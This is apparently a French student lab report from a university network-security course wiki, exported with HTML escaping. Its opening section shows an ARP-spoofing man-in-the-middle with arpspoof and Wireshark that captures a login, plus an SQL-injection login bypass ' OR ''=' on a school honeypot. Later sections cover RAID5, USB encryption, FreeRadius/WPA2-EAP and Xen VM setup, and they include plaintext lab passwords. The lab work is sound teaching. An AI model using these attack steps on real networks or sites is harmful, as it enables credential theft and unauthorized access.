Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|500px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnels.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid2 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Et je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte.&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expirer. Quand replace un nouveau, il replace les fichiers dans celui là. Il fera cette même action à chaque fois.&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement de données ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.&lt;br /&gt;
&lt;br /&gt;
Je branche une clé USB sur mon PC et la sécurise&lt;br /&gt;
  cryptsetup open /dev/sdb cle --type : plain&lt;br /&gt;
      password : licorne&lt;br /&gt;
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.&lt;br /&gt;
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup&lt;br /&gt;
Je supprime les signatures et les avertissements&lt;br /&gt;
  wipefs --all --force /dev/sdb&lt;br /&gt;
  &lt;br /&gt;
  ls /dev/mapper&lt;br /&gt;
     clé : nom du périphérique chiffré&lt;br /&gt;
     /dev/mapper cle&lt;br /&gt;
&lt;br /&gt;
Système de fichier pour mapper.&lt;br /&gt;
Création &lt;br /&gt;
  mkfs /dev/mapper/cle&lt;br /&gt;
Montage&lt;br /&gt;
  mount /dev/mapper/cle  /mnt&lt;br /&gt;
  dh -h&lt;br /&gt;
Donne l'espace disque libre sur chaque système de fichier monté.&lt;br /&gt;
On a quelque chose sur la clé.&lt;br /&gt;
Création de fichier&lt;br /&gt;
  nano /mnt/toto &lt;br /&gt;
Démonter la clé&lt;br /&gt;
  umount /mnt&lt;br /&gt;
  crypt setup close cle --type = plain&lt;br /&gt;
/cle/mapper n'est plus accessible&lt;br /&gt;
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je la vois mais il me demande le mot de passe qui est licorne (choisi au début).&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;br /&gt;
&lt;br /&gt;
== Supplémentaires ==&lt;br /&gt;
&lt;br /&gt;
Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aider mes camarades. &lt;br /&gt;
&lt;br /&gt;
Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancer son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancer.&lt;br /&gt;
&lt;br /&gt;
Puis, d'autres au niveau de de la sécurisation du site web par certificat et par DNSSEC.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi réalisé d'autres travaux comme l'utilisateur username.&lt;br /&gt;
&lt;br /&gt;
Une interconnexion, j'ai connecté les routeurs 6509 et 3560E, ils ont alors été en conflit mais les VM ont tout de même continué à répondre.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi eu un moment une connexion avec SSID_Lulya via mon portable sans internet ce qui était normal.&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54767</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54767"/>
				<updated>2020-12-16T07:34:29Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Sécurisation de données */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
